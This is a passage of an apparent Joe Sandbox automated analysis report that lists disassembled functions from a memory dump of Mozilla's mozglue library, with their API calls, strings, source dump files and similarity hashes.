Instruction Fuzzy Hash: CB713570A00306AFDB04CF28D0507AABBB5FF96304F144669D8195BB41D770F6A8CBE1

Function 6C99B0C0 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 188COMMON

Download Yara Rule

APIs

free.MOZGLUE(?,?,6C99B0A6,6C99B0A6,?,6C99AF67,?,00000010,?,6C99AF67,?,00000010,00000000,?,?,6C99AB1F), ref: 6C99B1F2
?_Xlength_error@std@@YAXPBD@Z.MSVCP140(map/set<T> too long,?,?,6C99B0A6,6C99B0A6,?,6C99AF67,?,00000010,?,6C99AF67,?,00000010,00000000,?), ref: 6C99B1FF
free.MOZGLUE(?,?,?,map/set<T> too long,?,?,6C99B0A6,6C99B0A6,?,6C99AF67,?,00000010,?,6C99AF67,?,00000010), ref: 6C99B25F

Strings

map/set<T> too long, xrefs: 6C99B1FA

Memory Dump Source

Source File: 00000000.00000002.2750309061.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2750290282.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750360570.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750383796.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750410424.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: free$Xlength_error@std@@
String ID: map/set<T> too long
API String ID: 1922495194-1285458680
Opcode ID: 07d355ee0ea346ee174be3efb3b7496c8e05961ff1f9adb144fe78c086f07827
Instruction ID: 1abe48346a6e43d005afdb640d1e2cf33d03ae3cd50109d092fc2a692066fd8d
Opcode Fuzzy Hash: 07d355ee0ea346ee174be3efb3b7496c8e05961ff1f9adb144fe78c086f07827
Instruction Fuzzy Hash: 736198346042458FD721CF19C880A9ABBF5FF5A318F2CC599D8598BB52C339ED45CBA1

Function 6C95D468 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 146COMMON

Download Yara Rule

APIs

Part of subcall function 6C96CBE8: GetCurrentProcess.KERNEL32(?,6C9331A7), ref: 6C96CBF1
Part of subcall function 6C96CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C9331A7), ref: 6C96CBFA

EnterCriticalSection.KERNEL32(6C9BE784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6C96D1C5), ref: 6C95D4F2
LeaveCriticalSection.KERNEL32(6C9BE784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6C96D1C5), ref: 6C95D50B

Part of subcall function 6C93CFE0: EnterCriticalSection.KERNEL32(6C9BE784), ref: 6C93CFF6
Part of subcall function 6C93CFE0: LeaveCriticalSection.KERNEL32(6C9BE784), ref: 6C93D026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6C96D1C5), ref: 6C95D52E
EnterCriticalSection.KERNEL32(6C9BE7DC), ref: 6C95D690
LeaveCriticalSection.KERNEL32(6C9BE784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6C96D1C5), ref: 6C95D751

Strings

MOZ_CRASH(), xrefs: 6C95D4BB

Memory Dump Source

Source File: 00000000.00000002.2750309061.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2750290282.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750360570.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750383796.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750410424.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$Process$CountCurrentInitializeSpinTerminate
String ID: MOZ_CRASH()
API String ID: 3805649505-2608361144
Opcode ID: 001da68b941871fd3bfa08fe18d270abbb868af419a86384205b8fbe3faf6d37
Instruction ID: 8bf216e04aee48e14e3771ef73b27ef7c060cb3fd841098f79c14ad258438406
Opcode Fuzzy Hash: 001da68b941871fd3bfa08fe18d270abbb868af419a86384205b8fbe3faf6d37
Instruction Fuzzy Hash: 3A51D076A087019FD724CF29C1D461AB7E5EB89708FA44A2EE59AC7F84D770E810CB91

Function 6C984630 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 138COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C984721

Strings

profiler-paused, xrefs: 6C9846E4
-%llu, xrefs: 6C984733
., xrefs: 6C98476A

Memory Dump Source

Source File: 00000000.00000002.2750309061.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2750290282.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750360570.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750383796.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750410424.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: __aulldiv
String ID: -%llu$.$profiler-paused
API String ID: 3732870572-2661126502
Opcode ID: b61f69c9aa392ce9c93d44502a52f0aca25ab2295df7db3a05ab444eff05499f
Instruction ID: 7fee2446849189629099b30f98879efa2b0cd886cb06651aaaa337ae2cb42076
Opcode Fuzzy Hash: b61f69c9aa392ce9c93d44502a52f0aca25ab2295df7db3a05ab444eff05499f
Instruction Fuzzy Hash: EA413971A097089BCB08DF79E86115EBBF9EF95744F208A3EE85957B81EB30D8448B41

Function 6C9A9830 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 116COMMON

Download Yara Rule

APIs

??0PrintfTarget@mozilla@@IAE@XZ.MOZGLUE ref: 6C9A985D
?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(?,?), ref: 6C9A987D
MOZ_CrashPrintf.MOZGLUE(ElementAt(aIndex = %zu, aLength = %zu),?,?), ref: 6C9A98DE

Strings

ElementAt(aIndex = %zu, aLength = %zu), xrefs: 6C9A98D9

Memory Dump Source

Source File: 00000000.00000002.2750309061.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2750290282.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750360570.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750383796.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750410424.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: Printf$Target@mozilla@@$?vprint@Crash
String ID: ElementAt(aIndex = %zu, aLength = %zu)
API String ID: 1778083764-3290996778
Opcode ID: a5f27f1c8d34f521f024023a885a56668860601629c1317802e2d3dd6099ee57
Instruction ID: 925a7ca3537632d4dda09f1cfbe20ce7d59b10c45cbcf2dafef56acdf55d2e46
Opcode Fuzzy Hash: a5f27f1c8d34f521f024023a885a56668860601629c1317802e2d3dd6099ee57
Instruction Fuzzy Hash: 7D313A75B002086FDF049F69D8549EF77A8DF98718F50446DEA069BB80DB31D905CBD1

Function 6C9846E0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 115COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C984721

Part of subcall function 6C934410: __stdio_common_vsprintf.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,6C973EBD,00000017,?,00000000,?,6C973EBD,?,?,6C9342D2), ref: 6C934444

Strings

profiler-paused, xrefs: 6C9846E4
-%llu, xrefs: 6C984733
., xrefs: 6C98476A

Memory Dump Source

Source File: 00000000.00000002.2750309061.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2750290282.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750360570.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750383796.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750410424.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: __aulldiv__stdio_common_vsprintf
String ID: -%llu$.$profiler-paused
API String ID: 680628322-2661126502
Opcode ID: 80d265df6d8a97d32f80fdfedcaf42743ed0630a38e5ef2888ca868602d0d5dd
Instruction ID: 7627e065fe68f4e793dee1083319bb91a2ce6337b6d268f8c103f9546b1f50eb
Opcode Fuzzy Hash: 80d265df6d8a97d32f80fdfedcaf42743ed0630a38e5ef2888ca868602d0d5dd
Instruction Fuzzy Hash: 19315771F053085BCB08CF6DD8912AEBBEADF98714F15853EE8059BB81EB74D8048B90

Function 6C98B410 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 104stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C934290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6C973EBD,6C973EBD,00000000), ref: 6C9342A9

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,6C98B127), ref: 6C98B463
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C98B4C9
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(FFFFFFFF,pid:,00000004), ref: 6C98B4E4

Strings

pid:, xrefs: 6C98B4DE

Memory Dump Source

Source File: 00000000.00000002.2750309061.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2750290282.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750360570.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750383796.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750410424.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: _getpidstrlenstrncmptolower
String ID: pid:
API String ID: 1720406129-3403741246
Opcode ID: 8318f397446fb347ff1d44257efa52c022ccc0571f175dd60864e64287fb4d40
Instruction ID: 451101018947e32e92d9770780c208937fedc87ec77bab94bd7f57f2d92d72bc
Opcode Fuzzy Hash: 8318f397446fb347ff1d44257efa52c022ccc0571f175dd60864e64287fb4d40
Instruction Fuzzy Hash: E5310531A02209DBDB00DFB9DC81AEEB7B9FF55318F580929D91167B81D731E849CBA1

Function 6C97E550 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 47threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C97E577
AcquireSRWLockExclusive.KERNEL32(6C9BF4B8), ref: 6C97E584
ReleaseSRWLockExclusive.KERNEL32(6C9BF4B8), ref: 6C97E5DE
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6C97E8A6

Strings

MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6C97E777
MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6C97E826, 6C97E850
MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6C97E655
MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6C97E722, 6C97E750, 6C97E7A2
MOZ_PROFILER_STARTUP, xrefs: 6C97E5A1, 6C97E5CC, 6C97E5FF, 6C97E62A

Memory Dump Source

Source File: 00000000.00000002.2750309061.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2750290282.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750360570.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750383796.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750410424.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadXbad_function_call@std@@
String ID: MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL
API String ID: 1483687287-53385798
Opcode ID: 15b5bb868313fb6e7559d52e38c8728dd7b1bf9738c6b93e68629e6aeac9c0a5
Instruction ID: 397d83568749ca53ffbe4f30954e025b36b5e638b65546ff93ac28cba8bc7c5c
Opcode Fuzzy Hash: 15b5bb868313fb6e7559d52e38c8728dd7b1bf9738c6b93e68629e6aeac9c0a5
Instruction Fuzzy Hash: EB118E39608258EFCB109F18C448A9BFBB9FB8972CF610519F84557A50D774E804CBD9

Function 6C980C90 Relevance: 6.3, APIs: 5, Instructions: 99stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C980CD5

Part of subcall function 6C96F960: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C96F9A7

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C980D40
free.MOZGLUE ref: 6C980DCB

Part of subcall function 6C955E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C955EDB
Part of subcall function 6C955E90: memset.VCRUNTIME140(6C997765,000000E5,55CCCCCC), ref: 6C955F27
Part of subcall function 6C955E90: LeaveCriticalSection.KERNEL32(?), ref: 6C955FB2

free.MOZGLUE ref: 6C980DDD
free.MOZGLUE ref: 6C980DF2

Memory Dump Source

Source File: 00000000.00000002.2750309061.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2750290282.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750360570.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750383796.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750410424.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: free$CriticalSectionstrlen$EnterImpl@detail@mozilla@@LeaveMutexmemset
String ID:
API String ID: 4069420150-0
Opcode ID: ebc92e3958c42e4a0c0aae90ffd5f1fc2dd457964be567410827d610bf0af223
Instruction ID: f50e69225061e9f4b5eb919f6f096e6a396803521d116908dc9f2f15e868cbdc
Opcode Fuzzy Hash: ebc92e3958c42e4a0c0aae90ffd5f1fc2dd457964be567410827d610bf0af223
Instruction Fuzzy Hash: 7B412571A0A7849BD320CF29C08079EFBE5BF99714F519A2EE8D887B51D770E445CB82

Function 6C970800 Relevance: 6.3, APIs: 5, Instructions: 71COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C9BE7DC), ref: 6C970838
memset.VCRUNTIME140(?,00000000,00000158), ref: 6C97084C
EnterCriticalSection.KERNEL32(?), ref: 6C9708AF
LeaveCriticalSection.KERNEL32(?), ref: 6C9708BD
LeaveCriticalSection.KERNEL32(6C9BE7DC), ref: 6C9708D5

Memory Dump Source

Source File: 00000000.00000002.2750309061.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2750290282.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750360570.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750383796.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750410424.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$memset
String ID:
API String ID: 837921583-0
Opcode ID: fbd08dff25fad144c0dff14e14f101f5f7d44befd925a40e17e18a5949420af1
Instruction ID: dbcf215c06d6a3b90dbe47c863ddcfe1142f6ba471e87eb1af29f1fd01e98540
Opcode Fuzzy Hash: fbd08dff25fad144c0dff14e14f101f5f7d44befd925a40e17e18a5949420af1
Instruction Fuzzy Hash: C121C130B06249ABEB148F658884BEB737DBF44708F6005A8E509E7A41DB37E8048BE4

Function 6C98CCF0 Relevance: 6.3, APIs: 4, Instructions: 299COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(000000E0,00000000,?,6C97DA31,00100000,?,?,00000000,?), ref: 6C98CDA4

Part of subcall function 6C94CA10: malloc.MOZGLUE(?), ref: 6C94CA26

Part of subcall function 6C98D130: InitializeConditionVariable.KERNEL32(00000010,00020000,00000000,00100000,?,6C98CDBA,00100000,?,00000000,?,6C97DA31,00100000,?,?,00000000,?), ref: 6C98D158
Part of subcall function 6C98D130: InitializeConditionVariable.KERNEL32(00000098,?,6C98CDBA,00100000,?,00000000,?,6C97DA31,00100000,?,?,00000000,?), ref: 6C98D177

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE(?,?,00000000,?,6C97DA31,00100000,?,?,00000000,?), ref: 6C98CDC4

Part of subcall function 6C987480: ReleaseSRWLockExclusive.KERNEL32(?,6C9915FC,?,?,?,?,6C9915FC,?), ref: 6C9874EB

moz_xmalloc.MOZGLUE(00000014,?,?,?,00000000,?,6C97DA31,00100000,?,?,00000000,?), ref: 6C98CECC

Part of subcall function 6C94CA10: mozalloc_abort.MOZGLUE(?), ref: 6C94CAA2

Part of subcall function 6C97CB30: floor.API-MS-WIN-CRT-MATH-L1-1-0(?,?,00000000,?,6C98CEEA,?,?,?,?,00000000,?,6C97DA31,00100000,?,?,00000000), ref: 6C97CB57
Part of subcall function 6C97CB30: _beginthreadex.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000,00000000,6C97CBE0,00000000,00000000,00000000,?,?,?,?,00000000,?,6C98CEEA,?,?), ref: 6C97CBAF

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,00000000,?,6C97DA31,00100000,?,?,00000000,?), ref: 6C98D058

Memory Dump Source

Source File: 00000000.00000002.2750309061.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2750290282.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750360570.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750383796.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750410424.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: ConditionInitializeVariablemoz_xmalloc$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedExclusiveLockProfileRelease_beginthreadexfloormallocmozalloc_aborttolower
String ID:
API String ID: 861561044-0
Opcode ID: bd3795a899cd6dd02dada738ea1e62c8a6d0da74194e0942f137ccc9287e974d
Instruction ID: 1eb9746c3b77afada2fa927f73bfb7798434038c57afb2b3b9e6c6c4f77fe59b
Opcode Fuzzy Hash: bd3795a899cd6dd02dada738ea1e62c8a6d0da74194e0942f137ccc9287e974d
Instruction Fuzzy Hash: 16D16E71A05B46DFD708CF28C480BA9F7E1BF99308F01866DD8598B712EB31E965CB81

Function 6C941720 Relevance: 6.2, APIs: 4, Instructions: 218COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,?), ref: 6C9417B2
memset.VCRUNTIME140(?,00000000,?,?), ref: 6C9418EE
free.MOZGLUE(?), ref: 6C941911
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C94194C

Memory Dump Source

Source File: 00000000.00000002.2750309061.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2750290282.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750360570.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750383796.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750410424.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturnfreememcpymemset
String ID:
API String ID: 3725304770-0
Opcode ID: 618054c52dfadc0db6b968ac566194f50f8ca13126a647cb2ef2ce7dec3e7b3d
Instruction ID: 336ccad4c9e17991ef69a119ba6091c6b5af6e3d44457e737230f2ec56f1de9b
Opcode Fuzzy Hash: 618054c52dfadc0db6b968ac566194f50f8ca13126a647cb2ef2ce7dec3e7b3d
Instruction Fuzzy Hash: 0481E170A142059FCB08CF68D8D49BEBBB5FF8A314F04866CE815AB750D730E864CBA1

Function 6C955C50 Relevance: 6.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

GetTickCount64.KERNEL32 ref: 6C955D40
EnterCriticalSection.KERNEL32(6C9BF688), ref: 6C955D67
__aulldiv.LIBCMT ref: 6C955DB4
LeaveCriticalSection.KERNEL32(6C9BF688), ref: 6C955DED

Memory Dump Source

Source File: 00000000.00000002.2750309061.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2750290282.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750360570.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750383796.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750410424.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: CriticalSection$Count64EnterLeaveTick__aulldiv
String ID:
API String ID: 557828605-0
Opcode ID: 287e775baa39834fa726801270fd49a52ce9ae6b2b0285997ef096ff1e6b6995
Instruction ID: f4069b7deb0e335ded57c808f94c0e1c208982bee84eb0a2952769656b70b137
Opcode Fuzzy Hash: 287e775baa39834fa726801270fd49a52ce9ae6b2b0285997ef096ff1e6b6995
Instruction Fuzzy Hash: E4516F76E0415ADFCF08CF68C854ABFBBB5FB85308F698619D811A7751C730A945CB90

Function 6C93CDF0 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 128COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,-000000EA,?,?,?,?,?,?,?,?,?,?,?), ref: 6C93CEBD
memcpy.VCRUNTIME140(?,?,?,?,?,?,?), ref: 6C93CEF5
memset.VCRUNTIME140(-000000E5,00000030,?,?,?,?,?,?,?,?), ref: 6C93CF4E

Strings

0, xrefs: 6C93CF30

Memory Dump Source

Source File: 00000000.00000002.2750309061.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2750290282.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750360570.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750383796.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750410424.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: memcpy$memset
String ID: 0
API String ID: 438689982-4108050209
Opcode ID: 9f21e8fd39a489ad8fc6adecb3a1c393650b5c0b064567b3950eb2f09546e20e
Instruction ID: 4a6182ff740a96470bf13e5f7347458bd0249537bfdde0f70ff55340832c17e0
Opcode Fuzzy Hash: 9f21e8fd39a489ad8fc6adecb3a1c393650b5c0b064567b3950eb2f09546e20e
Instruction Fuzzy Hash: 17512575A006668FCB00CF18C890A9AB7B5EF99300F19829DDC595F791D731ED06CBE0

Function 6C9977D0 Relevance: 6.1, APIs: 4, Instructions: 113stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C9977FA
?StringToDouble@StringToDoubleConverter@double_conversion@@QBENPBDHPAH@Z.MOZGLUE(00000001,00000000,?), ref: 6C997829

Part of subcall function 6C96CC38: GetCurrentProcess.KERNEL32(?,?,?,?,6C9331A7), ref: 6C96CC45
Part of subcall function 6C96CC38: TerminateProcess.KERNEL32(00000000,00000003,?,?,?,?,6C9331A7), ref: 6C96CC4E

?EcmaScriptConverter@DoubleToStringConverter@double_conversion@@SAABV12@XZ.MOZGLUE ref: 6C99789F
?ToShortestIeeeNumber@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@W4DtoaMode@12@@Z.MOZGLUE ref: 6C9978CF

Part of subcall function 6C934DE0: ?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C934E5A
Part of subcall function 6C934DE0: ?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C934E97

Part of subcall function 6C934290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6C973EBD,6C973EBD,00000000), ref: 6C9342A9

Memory Dump Source

Source File: 00000000.00000002.2750309061.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2750290282.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750360570.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750383796.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750410424.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$DtoaProcessstrlen$Ascii@Builder@2@Builder@2@@Converter@CreateCurrentDecimalDouble@EcmaIeeeMode@12@Mode@12@@Number@Representation@ScriptShortestTerminateV12@
String ID:
API String ID: 2525797420-0
Opcode ID: 7cb943849619d258da37be788a6e7aa261710d5ee3ad269f3b8b4f0af51714c0
Instruction ID: 1665dcf1264eea48552396d235d0c1cdf87ed79ff54108c101c322342cf26f88
Opcode Fuzzy Hash: 7cb943849619d258da37be788a6e7aa261710d5ee3ad269f3b8b4f0af51714c0
Instruction Fuzzy Hash: 6D41AF719087469BD300DF29C48056BFBF8FFDA254F204A6EE4A987780DB30D559CB92

Function 6C976470 Relevance: 6.1, APIs: 4, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000200,?,?,?,?,?,?,?,?,?,?,?,?,6C9782BC,?,?), ref: 6C97649B

Part of subcall function 6C94CA10: malloc.MOZGLUE(?), ref: 6C94CA26

memset.VCRUNTIME140(00000000,00000000,00000200,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C9764A9

Part of subcall function 6C96FA80: GetCurrentThreadId.KERNEL32 ref: 6C96FA8D
Part of subcall function 6C96FA80: AcquireSRWLockExclusive.KERNEL32(6C9BF448), ref: 6C96FA99

ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C97653F
free.MOZGLUE(?), ref: 6C97655A

Memory Dump Source

Source File: 00000000.00000002.2750309061.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2750290282.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750360570.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750383796.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750410424.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfreemallocmemsetmoz_xmalloc
String ID:
API String ID: 3596744550-0
Opcode ID: 12a9273252c490e9b250fc2d8d16e9b2cf706bc615e05aee6f7a548ae67e93aa
Instruction ID: 74481e41412e3302473efb12cdc443b3f537577557ebf8d922173f116530984a
Opcode Fuzzy Hash: 12a9273252c490e9b250fc2d8d16e9b2cf706bc615e05aee6f7a548ae67e93aa
